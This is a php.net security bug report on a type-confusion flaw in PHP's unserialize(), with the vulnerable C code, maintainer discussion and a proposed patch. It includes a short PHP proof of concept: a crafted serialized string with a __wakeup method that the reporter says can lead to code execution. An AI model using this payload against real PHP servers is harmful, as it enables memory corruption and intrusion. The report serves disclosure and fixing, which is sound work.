php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72731 Type Confusion in Object Deserialization
Submitted: 2016-08-02 11:27 UTC Modified: 2017-01-16 13:29 UTC
From: taoguangchen at icloud dot com Assigned: nikic (profile)
Status: Closed Package: *General Issues
PHP Version: 5.6.24 OS:
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2016-08-02 11:27 UTC] taoguangchen at icloud dot com
Description:
------------
This bug is similar to bug#69425:

```
	if (!process_nested_data(UNSERIALIZE_PASSTHRU, ht, elements, 1)) {
		return 0;
	}

	ZVAL_DEREF(rval);
	if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
		zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup", sizeof("__wakeup")-1)) {
```

A object-type ZVAL can be converted into other types via process_nested_data() with a crafted __wakeup(), then the ZVAL pass to Z_OBJCE_P, that result in type-confusion and code execution easily via a integer-type ZVAL in PHP7 series.

PoC:
```
<?php

class obj {
	var $ryat;
	function __wakeup() {
		$this->ryat = 0x1122334455;
	}
}

$poc = 'O:8:"stdClass":1:{i:0;O:3:"obj":1:{s:4:"ryat";R:1;}}';
unserialize($poc);

?>
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-08-07 23:15 UTC] stas@php.net
-PHP Version: 7.0.9 +PHP Version: 5.6.24
 [2016-08-07 23:15 UTC] stas@php.net
5.x has worse problem here as object can be destroyed in the middle of construction. I think supporting nested references was a huge mistake in hindsight :( Now we need to check everything on every step, I'm not even sure how to do it really. I'll look more into possible fixes.
 [2016-08-07 23:48 UTC] taoguangchen at icloud dot com
I think that the separation of ZVAL to solve these bugs. Plz check the solution where I post in other bugs.
 [2016-08-17 05:52 UTC] stas@php.net
-Private report: No +Private report: Yes
 [2016-09-26 04:42 UTC] stas@php.net
Could you add link to the solution you mean?
 [2016-09-26 04:47 UTC] taoguangchen at icloud dot com
https://bugs.php.net/bug.php?id=70513
 [2016-09-27 16:30 UTC] taoguangchen at icloud dot com
The follow patch can fix this bug (against PHP 5.6):
```
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops)
{
...
            var_push_dtor_no_addref(var_hash, &data);
			return 0;
		}
		
+		if (!HASH_OF(*rval) || HASH_OF(*rval) != ht) {
+			var_push_dtor_no_addref(var_hash, &data);
+			var_push_dtor_no_addref(var_hash, &key);
+			if (elements && *(*p-1) != ';' && *(*p-1) != '}') {
+				(*p)--;
+				return 0;
+			}
+			continue;
+		}

		if (!objprops) {
		switch (Z_TYPE_P(key)) {
...
static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
{
...
	    ZVAL_NULL(*rval);
		return 0;
	}

-    if (Z_TYPE_PP(rval) != IS_OBJECT) {
-       return 0;
-    }

+	if (Z_TYPE_PP(rval) == IS_OBJECT &&
		Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
```
 [2017-01-16 13:29 UTC] nikic@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: nikic
 
PHP Copyright © 2001-2025 The PHP Group
All rights reserved.
Last updated: Fri Jan 31 10:01:31 2025 UTC